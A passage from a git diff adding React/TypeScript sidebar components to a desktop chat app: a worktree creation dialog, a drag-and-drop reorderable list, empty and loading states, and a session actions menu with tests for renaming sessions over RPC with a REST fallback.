+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import { SanitizedInput } from '@/components/ui/sanitized-input'
+import type { ClawCodexGitBranch } from '@/global'
+import { useI18n } from '@/i18n'
+import { gitRef } from '@/lib/sanitize'
+import { notifyError } from '@/store/notifications'
+import {
+  $projectTree,
+  $worktreeDialog,
+  closeWorktreeDialog,
+  listRepoBranches,
+  projectIdForCwd,
+  projectRootCwd,
+  requestStartWorkSession,
+  startWorkInRepo,
+  switchBranchInRepo
+} from '@/store/projects'
+
+import { BaseBranchPicker } from './base-branch-picker'
+
+interface BranchActionCopy {
+  branchCreateWorktree: string
+  branchOpenExisting: string
+  branchSwitchHome: string
+  branchTrackRemote: string
+}
+
+const branchActionLabel = (branch: ClawCodexGitBranch, copy: BranchActionCopy) => {
+  if (branch.checkedOut) {
+    return copy.branchOpenExisting
+  }
+
+  if (branch.isRemote) {
+    return copy.branchTrackRemote
+  }
+
+  return branch.isDefault ? copy.branchSwitchHome : copy.branchCreateWorktree
+}
+
+/**
+ * The "new worktree" dialog. It is mounted exactly once, in the sidebar beside
+ * ProjectDialog, and the `$worktreeDialog` atom drives it. Every entry point
+ * (⌘⇧B, the kebab of the coding rail, the + button of the sidebar) publishes
+ * its intent to that atom. No entry point mounts its own copy. N composers on
+ * screen gave N stacked dialogs for one keypress.
+ *
+ * Features:
+ * - Project picker: change the repo before you name the branch
+ * - Branch name input, made safe as a git ref
+ * - Base branch picker: a combobox with a filter
+ * - Convert mode: check an existing branch out into a worktree
+ */
+export function WorktreeDialog() {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const state = useStore($worktreeDialog)
+  const open = state !== null
+  const projectTree = useStore($projectTree)
+
+  const [name, setName] = useState('')
+  const [pending, setPending] = useState(false)
+  const [convertMode, setConvertMode] = useState(false)
+  const [branches, setBranches] = useState<ClawCodexGitBranch[]>([])
+  const [branchesLoading, setBranchesLoading] = useState(false)
+  const [selectedBase, setSelectedBase] = useState('')
+  // The repo that the dialog targets. It is seeded from the resolved intent.
+  // This component then owns it, so the project picker can change the target
+  // and the user does not reopen the dialog.
+  const [repoPath, setRepoPath] = useState('')
+  const [projectOpen, setProjectOpen] = useState(false)
+
+  // Every project with a working root is a valid target. The list is deduped by
+  // path, because an auto project and a user project can share one folder.
+  const projectOptions = useMemo(() => {
+    const seen = new Set<string>()
+
+    return projectTree.flatMap(node => {
+      const path = projectRootCwd(node)
+
+      if (!path || seen.has(path)) {
+        return []
+      }
+
+      seen.add(path)
+
+      return [{ id: node.id, label: node.label, path }]
+    })
+  }, [projectTree])
+
+  // The project that owns the target repo. `repoPath` is often a linked
+  // worktree, for example `<repo>/.worktrees/<branch>`, and no project row has
+  // that exact path. An equality test against the rows therefore matches
+  // nothing, and the label falls back to the last path segment, which is the
+  // name of the BRANCH. Ask which project owns the path instead, then fall back
+  // to a path match: two projects can share a folder, and the dedupe above
+  // keeps only the first, so the owner's own row can be the one it dropped.
+  const activeOption = useMemo(() => {
+    const owner = projectTree.length > 0 ? projectIdForCwd(repoPath) : null
+
+    return projectOptions.find(o => o.id === owner) ?? projectOptions.find(o => o.path === repoPath) ?? null
+  }, [projectOptions, projectTree, repoPath])
+
+  const activeProjectLabel = activeOption?.label ?? repoPath.split('/').pop() ?? repoPath
+
+  // Reset to a fresh state each time the dialog opens. Apply the resolved repo
+  // and the base branch that the caller selected, for example "branch off from
+  // main" in the dropdown menu of the coding row.
+  useEffect(() => {
+    if (state) {
+      setName('')
+      setConvertMode(false)
+      setSelectedBase(state.base ?? '')
+      setRepoPath(state.repoPath)
+      setBranches([])
+    }
+  }, [state])
+
+  const onOpenChange = (next: boolean) => {
+    if (!next && !pending) {
+      closeWorktreeDialog()
+    }
+  }
+
+  const loadBranches = useCallback(async () => {
+    if (!repoPath) {
+      return
+    }
+
+    setBranchesLoading(true)
+
+    try {
+      setBranches(await listRepoBranches(repoPath))
+    } catch {
+      setBranches([])
+    } finally {
+      setBranchesLoading(false)
+    }
+  }, [repoPath])
+
+  // Give the new worktree to a fresh session, then close the dialog.
+  const started = (path: string) => {
+    requestStartWorkSession(path)
+    closeWorktreeDialog()
+  }
+
+  const submit = async () => {
+    const branch = name.trim()
+
+    if (pending || !repoPath || !branch) {
+      return
+    }
+
+    setPending(true)
+
+    try {
+      const result = await startWorkInRepo(repoPath, { base: selectedBase || undefined, branch, name: branch })
+
+      if (result) {
+        started(result.path)
+        setName('')
+      }
+    } catch (err) {
+      notifyError(err, p.startWorkFailed)
+    } finally {
+      setPending(false)
+    }
+  }
+
+  const convert = async (branch: ClawCodexGitBranch) => {
+    if (pending || !repoPath || !branch) {
+      return
+    }
+
+    setPending(true)
+
+    try {
+      let result: null | { branch: string; path: string }
+
+      if (branch.worktreePath) {
+        result = { branch: branch.name, path: branch.worktreePath }
+      } else if (branch.isDefault) {
+        await switchBranchInRepo(repoPath, branch.name)
+        result = { branch: branch.name, path: repoPath }
+      } else {
+        result = await startWorkInRepo(repoPath, { existingBranch: branch.name })
+      }
+
+      if (result) {
+        started(result.path)
+      }
+    } catch (err) {
+      notifyError(err, p.startWorkFailed)
+    } finally {
+      setPending(false)
+    }
+  }
+
+  const enterConvert = () => {
+    setConvertMode(true)
+    void loadBranches()
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{convertMode ? p.convertBranchTitle : p.newWorktreeTitle}</DialogTitle>
+          <DialogDescription>{convertMode ? p.convertBranchDesc : p.newWorktreeDesc}</DialogDescription>
+        </DialogHeader>
+
+        {/* Project picker: change the repo that the worktree is cut from. Show
+            it only when there is another project to select. */}
+        {projectOptions.length > 1 && (
+          <Popover onOpenChange={setProjectOpen} open={projectOpen}>
+            <PopoverTrigger asChild>
+              <Button
+                className="group w-full flex justify-start items-center min-w-0 gap-1.5 hover:no-underline hover:text-muted-foreground"
+                disabled={pending}
+                size="inline"
+                variant="text"
+              >
+                <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="folder" size="0.8rem" />
+                <span className="shrink-0">{p.worktreeProjectLabel}</span>
+                <span className="truncate text-primary underline-offset-4 decoration-current/20 group-hover:underline">
+                  {activeProjectLabel}
+                </span>
+                <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="chevron-down" size="0.75rem" />
+              </Button>
+            </PopoverTrigger>
+            <PopoverContent align="start" className="z-(--z-modal-popover) min-w-(--radix-popover-trigger-width) p-0">
+              <Command filter={(value, search) => (value.toLowerCase().includes(search.toLowerCase()) ? 1 : 0)}>
+                <CommandInput autoFocus placeholder={p.worktreeProjectPlaceholder} />
+                <CommandList className="max-h-64">
+                  <CommandEmpty>{p.worktreeProjectNone}</CommandEmpty>
+                  <CommandGroup>
+                    {projectOptions.map(option => (
+                      <CommandItem
+                        key={option.path}
+                        onSelect={() => {
+                          setRepoPath(option.path)
+                          // The new repo has its own branches. Drop the old
+                          // list and the old base, so nothing stale stays.
+                          setBranches([])
+                          setSelectedBase('')
+                          setProjectOpen(false)
+                        }}
+                        value={`${option.label} ${option.path}`}
+                      >
+                        <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="repo" size="0.8rem" />
+                        <span className="truncate">{option.label}</span>
+                        {option === activeOption && (
+                          <Codicon className="ml-auto shrink-0 text-(--ui-accent)" name="check" size="0.8rem" />
+                        )}
+                      </CommandItem>
+                    ))}
+                  </CommandGroup>
+                </CommandList>
+              </Command>
+            </PopoverContent>
+          </Popover>
+        )}
+
+        {convertMode ? (
+          <Command
+            className="rounded-md border border-(--ui-stroke-tertiary)"
+            filter={(value, search) => (value.toLowerCase().includes(search.toLowerCase()) ? 1 : 0)}
+          >
+            <CommandInput autoFocus disabled={pending} placeholder={p.convertBranchPlaceholder} />
+            <CommandList className="max-h-64">
+              <CommandEmpty>{branchesLoading ? p.branchesLoading : p.noBranches}</CommandEmpty>
+              <CommandGroup>
+                {branches.map(branch => (
+                  <CommandItem
+                    disabled={pending}
+                    key={branch.name}
+                    onSelect={() => void convert(branch)}
+                    value={branch.name}
+                  >
+                    <Codicon
+                      className="shrink-0 text-(--ui-text-tertiary)"
+                      name={branch.isRemote ? 'repo' : 'git-branch'}
+                      size="0.8rem"
+                    />
+                    <span className="truncate">{branch.name}</span>
+                    <span className="ml-auto shrink-0 text-[0.625rem] text-(--ui-text-tertiary)">
+                      {branchActionLabel(branch, p)}
+                    </span>
+                  </CommandItem>
+                ))}
+              </CommandGroup>
+            </CommandList>
+          </Command>
+        ) : (
+          <>
+            <SanitizedInput
+              autoFocus
+              disabled={pending}
+              onKeyDown={event => {
+                if (event.key === 'Enter') {
+                  event.preventDefault()
+                  void submit()
+                } else if (event.key === 'Escape') {
+                  onOpenChange(false)
+                }
+              }}
+              onValueChange={setName}
+              placeholder={p.branchPlaceholder}
+              sanitize={gitRef}
+              value={name}
+            />
+            <BaseBranchPicker
+              disabled={pending}
+              // Remount on a repo change, so the picker loads the branches of
+              // the new repo and does not show those of the previous project.
+              key={repoPath}
+              onValueChange={setSelectedBase}
+              repoPath={repoPath}
+              value={selectedBase}
+            />
+          </>
+        )}
+
+        {convertMode ? (
+          <DialogFooter className="sm:justify-start">
+            <Button
+              className="px-0 text-(--ui-text-secondary) hover:text-foreground"
+              disabled={pending}
+              onClick={() => setConvertMode(false)}
+              type="button"
+              variant="link"
+            >
+              {t.common.cancel}
+            </Button>
+          </DialogFooter>
+        ) : (
+          <DialogFooter className="sm:justify-between">
+            <Button
+              className="px-0 text-(--ui-text-secondary) hover:text-foreground"
+              disabled={pending}
+              onClick={enterConvert}
+              type="button"
+              variant="link"
+            >
+              {p.convertBranchInstead}
+            </Button>
+            <div className="flex items-center gap-2">
+              <Button disabled={pending} onClick={() => onOpenChange(false)} type="button" variant="ghost">
+                {t.common.cancel}
+              </Button>
+              <Button disabled={pending || !name.trim()} onClick={() => void submit()} type="button">
+                {p.startWork}
+              </Button>
+            </div>
+          </DialogFooter>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/reorderable-list.tsx b/ui-desktop/src/app/chat/sidebar/reorderable-list.tsx
new file mode 100644
index 000000000..736096572
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/reorderable-list.tsx
@@ -0,0 +1,81 @@
+import type { useSensors } from '@dnd-kit/core'
+import { closestCenter, DndContext, type DragEndEvent } from '@dnd-kit/core'
+import { arrayMove, SortableContext, useSortable, verticalListSortingStrategy } from '@dnd-kit/sortable'
+import type * as React from 'react'
+
+// Sidebar reordering is a strictly vertical list. The dragged item's transform
+// is rendered Y-only in useSortableBindings (no x, no scale); this just stops
+// dnd-kit's auto-scroll from dragging the rail — or the window — sideways when
+// the pointer nears an edge, killing the horizontal "drag to valhalla".
+const reorderAutoScroll = { threshold: { x: 0, y: 0.2 } }
+
+// One self-contained, nesting-safe reorderable list. It owns its DndContext, so a
+// drag only ever collides with THIS list's own items — drop it at any depth (repos,
+// worktrees, sessions) and reordering "just works" without leaking into the lists
+// around or inside it. Pair each item with useSortableBindings(id); the list reports
+// the new id order and the caller persists it. This is the single generic primitive
+// behind every reorderable surface in the sidebar.
+export function ReorderableList({
+  children,
+  ids,
+  onReorder,
+  sensors
+}: {
+  children: React.ReactNode
+  ids: string[]
+  onReorder: (ids: string[]) => void
+  sensors?: ReturnType<typeof useSensors>
+}) {
+  const handleDragEnd = ({ activatorEvent, active, over }: DragEndEvent) => {
+    // dnd-kit only restores focus for keyboard drags; after a pointer drop the
+    // browser leaves :focus on the grab handle, which keeps a focus-within
+    // grabber/affordance reveal stuck "on". Drop that focus so the row returns
+    // to its resting state once the pointer moves away.
+    if (!(activatorEvent instanceof KeyboardEvent)) {
+      ;(document.activeElement as HTMLElement | null)?.blur()
+    }
+
+    if (!over || active.id === over.id) {
+      return
+    }
+
+    const from = ids.indexOf(String(active.id))
+    const to = ids.indexOf(String(over.id))
+
+    if (from >= 0 && to >= 0) {
+      onReorder(arrayMove(ids, from, to))
+    }
+  }
+
+  return (
+    <DndContext
+      autoScroll={reorderAutoScroll}
+      collisionDetection={closestCenter}
+      onDragEnd={handleDragEnd}
+      sensors={sensors}
+    >
+      <SortableContext items={ids} strategy={verticalListSortingStrategy}>
+        {children}
+      </SortableContext>
+    </DndContext>
+  )
+}
+
+export function useSortableBindings(id: string) {
+  const { attributes, isDragging, listeners, setNodeRef, transform, transition } = useSortable({ id })
+
+  return {
+    dragging: isDragging,
+    dragHandleProps: { ...attributes, ...listeners },
+    ref: setNodeRef,
+    reorderable: true as const,
+    style: {
+      // Uniform vertical list: only ever translate on Y. Ignoring x and the
+      // scaleX/scaleY that CSS.Transform.toString would emit keeps a dragged
+      // group/row from drifting sideways or morphing its size mid-drag.
+      transform: transform ? `translate3d(0px, ${transform.y}px, 0)` : undefined,
+      transition: isDragging ? undefined : transition,
+      willChange: isDragging ? 'transform' : undefined
+    }
+  }
+}
diff --git a/ui-desktop/src/app/chat/sidebar/section-states.tsx b/ui-desktop/src/app/chat/sidebar/section-states.tsx
new file mode 100644
index 000000000..d65eda981
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/section-states.tsx
@@ -0,0 +1,52 @@
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Skeleton } from '@/components/ui/skeleton'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+export function SidebarSessionSkeletons() {
+  return (
+    <div aria-hidden="true" className="grid gap-px">
+      {['w-32', 'w-40', 'w-28', 'w-36', 'w-24'].map((width, i) => (
+        <div
+          className="grid min-h-[1.625rem] grid-cols-[minmax(0,1fr)_1.375rem] items-center rounded-md pl-2"
+          key={`${width}-${i}`}
+        >
+          <Skeleton className={cn('h-3 rounded-sm', width)} />
+          <Skeleton className="mx-auto size-3.5 rounded-sm opacity-60" />
+        </div>
+      ))}
+    </div>
+  )
+}
+
+export function SidebarBlankState({ onNewProject }: { onNewProject: () => void }) {
+  const { t } = useI18n()
+  const s = t.sidebar
+
+  return (
+    <div className="grid min-h-0 flex-1 place-items-center px-4 text-center">
+      <div className="flex flex-col items-center gap-2">
+        <Codicon className="text-(--ui-text-quaternary)" name="root-folder" size="1.25rem" />
+        <p className="text-xs text-(--ui-text-tertiary)">{s.noSessions}</p>
+        <Button className="mt-0.5 text-(--ui-text-secondary)" onClick={onNewProject} size="sm" variant="ghost">
+          <Codicon name="add" size="0.75rem" />
+          {s.projects.newButton}
+        </Button>
+      </div>
+    </div>
+  )
+}
+
+export function SidebarPinnedEmptyState() {
+  const { t } = useI18n()
+
+  return (
+    <div className="flex min-h-7 items-center gap-1.5 rounded-lg pl-2 text-[0.75rem] text-(--ui-text-tertiary)">
+      <span className="grid w-3.5 shrink-0 place-items-center text-(--ui-text-quaternary)">
+        <Codicon name="pin" size="0.75rem" />
+      </span>
+      <span>{t.sidebar.shiftClickHint}</span>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.ts b/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.ts
new file mode 100644
index 000000000..004bf86ee
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.ts
@@ -0,0 +1,112 @@
+import { atom } from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+
+import { renameSessionPreferringRpc } from './session-actions-menu'
+
+// The branched-session rename bug: a freshly branched session lives only in the
+// gateway's runtime _sessions map (no state.db row yet), so REST PATCH
+// /api/sessions/{id} 404s with "Session not found". renameSessionPreferringRpc
+// must route the ACTIVE row through the session.title RPC (runtime id), which
+// persists the row on demand, and otherwise fall back to REST.
+
+// Hoisted so the vi.mock factories below (which vitest lifts to the top of the
+// module) can reference these before the module body runs. This matters because
+// projects.ts subscribes to $gateway at import and nanostores fires the
+// subscriber synchronously — that reaches the @/store/gateway mock's
+// activeGateway() during the transitive import on line 4, before a plain
+// module-level const would be initialized (temporal dead zone).
+const { renameSession, request, activeGateway } = vi.hoisted(() => ({
+  renameSession: vi.fn(async () => ({ ok: true, title: 'rest-title' })),
+  request: vi.fn(async () => ({ title: 'rpc-title' }) as never),
+  activeGateway: vi.fn<() => { request: unknown } | null>(() => ({ request: undefined }))
+}))
+
+// Wire activeGateway's default return to the shared request mock now that it exists.
+activeGateway.mockReturnValue({ request })
+
+vi.mock('@/clawcodex', () => ({
+  renameSession: (...args: unknown[]) => renameSession(...(args as [])),
+  // profile.ts calls this at import (its $activeGatewayProfile subscribe fires
+  // immediately), pulled in transitively via session-states.
+  setApiRequestProfile: () => {},
+  ClawCodexGateway: class {}
+}))
+
+vi.mock('@/store/gateway', () => ({
+  // projects.ts subscribes to $gateway at module load (its repo-scan sync fires
+  // immediately), pulled in transitively via the session store. Provide a real
+  // atom plus the hoisted activeGateway so the synchronous subscriber doesn't
+  // throw on an incomplete mock or hit an uninitialized reference.
+  $gateway: atom(null),
+  activeGateway: () => activeGateway()
+}))
+
+const RUNTIME_ID = 'rt-runtime-1'
+const STORED_ID = 'stored-branch-1'
+
+afterEach(() => {
+  renameSession.mockClear()
+  request.mockClear()
+  activeGateway.mockReset()
+  activeGateway.mockReturnValue({ request })
+  $activeSessionId.set(null)
+  $selectedStoredSessionId.set(null)
+})
+
+describe('renameSessionPreferringRpc', () => {
+  it('renames the active branched session via the session.title RPC, not REST', async () => {
+    $selectedStoredSessionId.set(STORED_ID)
+    $activeSessionId.set(RUNTIME_ID)
+
+    const result = await renameSessionPreferringRpc(STORED_ID, 'My branch')
+
+    expect(request).toHaveBeenCalledWith('session.title', { session_id: RUNTIME_ID, title: 'My branch' })
+    expect(renameSession).not.toHaveBeenCalled()
+    expect(result.title).toBe('rpc-title')
+  })
+
+  it('falls back to REST when the RPC fails (e.g. socket mid-reconnect)', async () => {
+    $selectedStoredSessionId.set(STORED_ID)
+    $activeSessionId.set(RUNTIME_ID)
+    request.mockRejectedValueOnce(new Error('not connected'))
+
+    const result = await renameSessionPreferringRpc(STORED_ID, 'My branch', 'work')
+
+    expect(request).toHaveBeenCalledOnce()
+    expect(renameSession).toHaveBeenCalledWith(STORED_ID, 'My branch', 'work')
+    expect(result.title).toBe('rest-title')
+  })
+
+  it('uses REST for a non-active row (background/persisted session)', async () => {
+    $selectedStoredSessionId.set('some-other-active-session')
+    $activeSessionId.set(RUNTIME_ID)
+
+    await renameSessionPreferringRpc(STORED_ID, 'My branch', 'work')
+
+    expect(request).not.toHaveBeenCalled()
+    expect(renameSession).toHaveBeenCalledWith(STORED_ID, 'My branch', 'work')
+  })
+
+  it('uses REST when clearing the title (RPC rejects empty titles)', async () => {
+    $selectedStoredSessionId.set(STORED_ID)
+    $activeSessionId.set(RUNTIME_ID)
+
+    await renameSessionPreferringRpc(STORED_ID, '')
+
+    expect(request).not.toHaveBeenCalled()
+    expect(renameSession).toHaveBeenCalledWith(STORED_ID, '', undefined)
+  })
+
+  it('uses REST when no gateway is connected', async () => {
+    $selectedStoredSessionId.set(STORED_ID)
+    $activeSessionId.set(RUNTIME_ID)
+    activeGateway.mockReturnValue(null)
+
+    await renameSessionPreferringRpc(STORED_ID, 'My branch')
+
+    expect(request).not.toHaveBeenCalled()
+    expect(renameSession).toHaveBeenCalledWith(STORED_ID, 'My branch', undefined)
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.tsx b/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.tsx
new file mode 100644
index 000000000..762e4ad8c
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-actions-menu.test.tsx
@@ -0,0 +1,116 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { SessionActionsMenu } from './session-actions-menu'
+
+afterEach(cleanup)
+
+// Exercises the real SessionActionsMenu end-to-end (no DropdownMenu mock) so
+// a broken asChild composition on the kebab trigger fails here — the menu
+// must still open on click.
+
+vi.mock('@/components/pane-shell/tree/store', () => ({
+  closeAllTreeTabs: vi.fn(),
+  closeOtherTreeTabs: vi.fn(),
+  closeTreeTabsToRight: vi.fn(),
+  treeTabCloseTargets: vi.fn(() => null)
+}))
+vi.mock('@/clawcodex', () => ({ renameSession: vi.fn() }))
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      common: { cancel: 'Cancel', close: 'Close', delete: 'Delete', save: 'Save' },
+      sidebar: {
+        projects: {
+          menuAppearance: 'Appearance',
+          moveFailed: 'Could not move session',
+          moveNoProjects: 'No other projects',
+          movedTo: (name: string) => `Moved to ${name}`,
+          moveToProject: 'Move to project',
+          noColor: 'No color'
+        },
+        row: {
+          archive: 'Archive',
+          branchFrom: 'Branch from here',
+          copyId: 'Copy ID',
+          copyIdFailed: 'Failed to copy ID',
+          export: 'Export',
+          hideTabBar: 'Hide tab bar',
+          pin: 'Pin',
+          rename: 'Rename',
+          renameDesc: 'Leave empty to clear.',
+          renameFailed: 'Rename failed',
+          renameTitle: 'Rename session',
+          renamed: 'Renamed',
+          sessionActions: 'Session actions',
+          unpin: 'Unpin',
+          untitledPlaceholder: 'Untitled'
+        }
+      },
+      zones: { closeAll: 'Close all', closeOthers: 'Close others', closeToRight: 'Close to the right' }
+    }
+  })
+}))
+vi.mock('@/lib/haptics', () => ({ triggerHaptic: vi.fn() }))
+vi.mock('@/lib/profile-color', () => ({ PROFILE_SWATCHES: [] }))
+vi.mock('@/lib/session-export', () => ({ exportSession: vi.fn() }))
+vi.mock('@/store/gateway', () => ({ activeGateway: vi.fn(() => null) }))
+vi.mock('@/store/notifications', () => ({ notify: vi.fn(), notifyError: vi.fn() }))
+vi.mock('@/store/projects', () => ({
+  $projectTree: atom<unknown[]>([]),
+  moveSessionToProject: vi.fn(),
+  projectIdForCwd: vi.fn(() => null),
+  projectRootCwd: vi.fn(() => '')
+}))
+vi.mock('@/store/session', () => ({
+  $activeSessionId: atom<null | string>(null),
+  $selectedStoredSessionId: atom<null | string>(null),
+  $sessions: atom<unknown[]>([]),
+  sessionMatchesStoredId: vi.fn(() => false),
+  sessionPinId: vi.fn((s: { id: string }) => s.id),
+  setSessions: vi.fn()
+}))
+vi.mock('@/store/session-color', () => ({
+  $sessionColorOverrides: atom<Record<string, string>>({}),
+  setSessionColorOverride: vi.fn()
+}))
+vi.mock('@/store/session-states', () => ({
+  $sessionTiles: atom<unknown[]>([]),
+  openSessionTile: vi.fn()
+}))
+vi.mock('@/store/windows', () => ({
+  canOpenSessionWindow: () => false,
+  openSessionInNewWindow: vi.fn()
+}))
+
+function renderMenu() {
+  return render(
+    <SessionActionsMenu sessionId="s1" title="My session">
+      <button aria-label="Session actions" type="button">
+        ⋮
+      </button>
+    </SessionActionsMenu>
+  )
+}
+
+describe('SessionActionsMenu', () => {
+  it('opens the dropdown on click without a tooltip on the kebab', async () => {
+    renderMenu()
+
+    const trigger = screen.getByRole('button', { name: 'Session actions' })
+
+    expect(trigger.closest('[data-slot="tooltip-trigger"]')).toBeNull()
+
+    // Radix's dropdown trigger opens on pointerdown (not on the synthetic
+    // 'click' fireEvent alone would dispatch), so fire the full mouse
+    // sequence a real click produces.
+    fireEvent.pointerDown(trigger, { button: 0, pointerType: 'mouse' })
+    fireEvent.pointerUp(trigger, { button: 0, pointerType: 'mouse' })
+    fireEvent.click(trigger)
+
+    expect(await screen.findByRole('menu')).toBeTruthy()
+    expect(screen.getByRole('menuitem', { name: /rename/i })).toBeTruthy()
+    expect(screen.getByRole('menuitem', { name: /archive/i })).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/session-actions-menu.tsx b/ui-desktop/src/app/chat/sidebar/session-actions-menu.tsx
new file mode 100644
index 000000000..cc5e5a7c7
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/session-actions-menu.tsx
@@ -0,0 +1,570 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useEffect, useRef, useState } from 'react'
+
+import { openSession } from '@/app/open-session'
+import { renameSession } from '@/clawcodex'
+import {
+  closeAllTreeTabs,
+  closeOtherTreeTabs,
+  closeTreeTabsToRight,
+  reloadTreePane,
+  treeTabCloseTargets
+} from '@/components/pane-shell/tree/store'
+import {
+  type ActionItemSpec,
+  ActionsContextMenu,
+  ActionsMenu,
+  type MenuKit,
+  renderActionItem
+} from '@/components/ui/actions-menu'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ColorSwatches } from '@/components/ui/color-swatches'
+import { CopyButton } from '@/components/ui/copy-button'
+import { Dialog, DialogContent, DialogFooter, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { PROFILE_SWATCHES } from '@/lib/profile-color'
+import { exportSession } from '@/lib/session-export'
+import { activeGateway } from '@/store/gateway'
+import { notify, notifyError } from '@/store/notifications'
+import { $projectTree, moveSessionToProject, projectIdForCwd, projectRootCwd } from '@/store/projects'
+import {
+  $activeSessionId,
+  $selectedStoredSessionId,
+  $sessions,
+  sessionMatchesStoredId,
+  sessionPinId,
+  setSessions
+} from '@/store/session'
+import { $sessionColorOverrides, setSessionColorOverride } from '@/store/session-color'
+import { $sessionTiles } from '@/store/session-states'
+import { canOpenSessionWindow } from '@/store/windows'
+
+import type { SessionTitleResponse } from '../../types'
+
+// Rename a session, preferring the gateway's session.title RPC over REST.
+//
+// A freshly *branched* session (and any brand-new chat) lives only in the
+// gateway's in-memory _sessions map keyed by its RUNTIME id — no row is
+// persisted to state.db until the first turn. REST PATCH /api/sessions/{id}
+// resolves against the stored sessions table, so it 404s ("Session not found")
+// on these runtime-only sessions. The session.title RPC resolves the live
+// runtime session AND persists the row on demand, so it succeeds where REST
+// cannot. This mirrors the /title slash command's fix (use-prompt-actions.ts).
+//
+// We only take the RPC path for the ACTIVE/selected session: its runtime id is
+// known ($activeSessionId) and it lives on the active gateway, so there is no
+// profile-routing ambiguity. Every other row (already persisted, possibly on a
+// background profile) keeps the REST path, which handles profile scoping and a
+// non-empty title is required by the RPC (it rejects clears), so clears stay on
+// REST too.
+export async function renameSessionPreferringRpc(
+  storedSessionId: string,
+  title: string,
+  profile?: string
+): Promise<{ title?: string }> {
+  const isActiveRow = storedSessionId === $selectedStoredSessionId.get()
+  const runtimeId = isActiveRow ? $activeSessionId.get() : null
+  const gateway = activeGateway()
+
+  if (title && runtimeId && gateway) {
+    try {
+      const result = await gateway.request<SessionTitleResponse>('session.title', {
+        session_id: runtimeId,
+        title
+      })
+
+      return { title: result?.title ?? title }
+    } catch (err) {
+      // Fall through to REST — e.g. the socket is mid-reconnect. REST still
+      // works for any session that already has a persisted row. Log so a
+      // genuine RPC-side failure (which then surfaces a REST 404 for the
+      // runtime id) is at least diagnosable instead of silently swallowed.
+      console.warn('session.title RPC rename failed; falling back to REST', err)
+    }
+  }
+
+  return renameSession(storedSessionId, title, profile)
+}
+
+interface SessionActions {
+  sessionId: string
+  title: string
+  pinned?: boolean
+  profile?: string
+  onPin?: () => void
+  onBranch?: () => void
+  onArchive?: () => void
+  onDelete?: () => void
+  /** Close this surface (a tile tab) — omitted where nothing closes (sidebar
+   *  rows, the main tab). */
+  onClose?: () => void
+  /** TAB surfaces: the session is already a tab, so "Open in new tab" is
+   *  nonsense there — sidebar rows/dropdowns keep it. */
+  surface?: 'row' | 'tab'
+  /** The tab's layout-tree pane id (`session-tile:<id>` or `workspace`) — enables
+   *  the Close-others / to-the-right / all tab verbs. Tab surfaces only. */
+  tabPaneId?: string
+  /** The MAIN tab's escape hatch: hide the zone's tab bar (it sticky-shows
+   *  once a tab is ever gained; this is the explicit off switch). */
+  onHideTabBar?: () => void
+}
+
+// The color picker inside the session menu's Appearance submenu. Its own
+// component so only an OPEN submenu subscribes to the stores (not every row's
+// menu). Reads/writes the override keyed by the DURABLE id so a color survives
+// compression; clearing falls back to the inherited project color.
+function SessionColorSwatches({ sessionId }: { sessionId: string }) {
+  const { t } = useI18n()
+  const overrides = useStore($sessionColorOverrides)
+  const session = useStore($sessions).find(s => sessionMatchesStoredId(s, sessionId))
+  const durableId = session ? sessionPinId(session) : sessionId
+
+  return (
+    <ColorSwatches
+      clearIcon="circle-slash"
+      clearLabel={t.sidebar.projects.noColor}
+      onChange={color => setSessionColorOverride(durableId, color)}
+      swatches={PROFILE_SWATCHES}
+      value={overrides[durableId] ?? null}
+    />
+  )
+}
+
+// The project list inside the session menu's "Move to project" submenu. Its own
+// component so only an OPEN submenu subscribes to the stores (same reasoning as
+// SessionColorSwatches). Re-homes the session's workspace at the target
+// project's root — the fix for a chat created in the wrong folder. The current
+// owner and folderless projects (the Home bucket) are excluded: there is
+// nothing to move into.
+function MoveToProjectItems({ kit, sessionId, profile }: { kit: MenuKit; sessionId: string; profile?: string }) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const tree = useStore($projectTree)
+  const session = useStore($sessions).find(s => sessionMatchesStoredId(s, sessionId))
+  const cwd = session?.cwd?.trim() || ''
+  const currentProjectId = cwd ? projectIdForCwd(cwd) : null
+  const targets = tree.filter(node => node.id !== currentProjectId && !node.isNoProject && projectRootCwd(node))
+
+  if (targets.length === 0) {
+    return <kit.Item disabled>{p.moveNoProjects}</kit.Item>
+  }
+
+  return (
+    <>
+      {targets.map(node => (
